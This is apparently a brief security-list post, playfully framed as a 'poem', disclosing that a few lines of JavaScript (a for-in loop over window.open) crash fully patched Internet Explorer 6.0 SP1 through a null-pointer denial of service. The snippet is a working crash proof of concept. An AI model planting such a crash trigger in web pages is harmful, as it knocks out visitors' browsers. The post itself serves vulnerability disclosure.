I just wrote a small poem in JScript:
<SCRIPT language="javascript">
MSIE = window.open; // for hackers to come in
for (every_bug_found in MSIE) { /* there are zillions more hiden */ }
</SCRIPT>
Ok, so it doen't rhyme... but it is another null-pointer exception DoS in MSIE
6.0sp1 (fully patched) ;)
Cheers,
SkyLined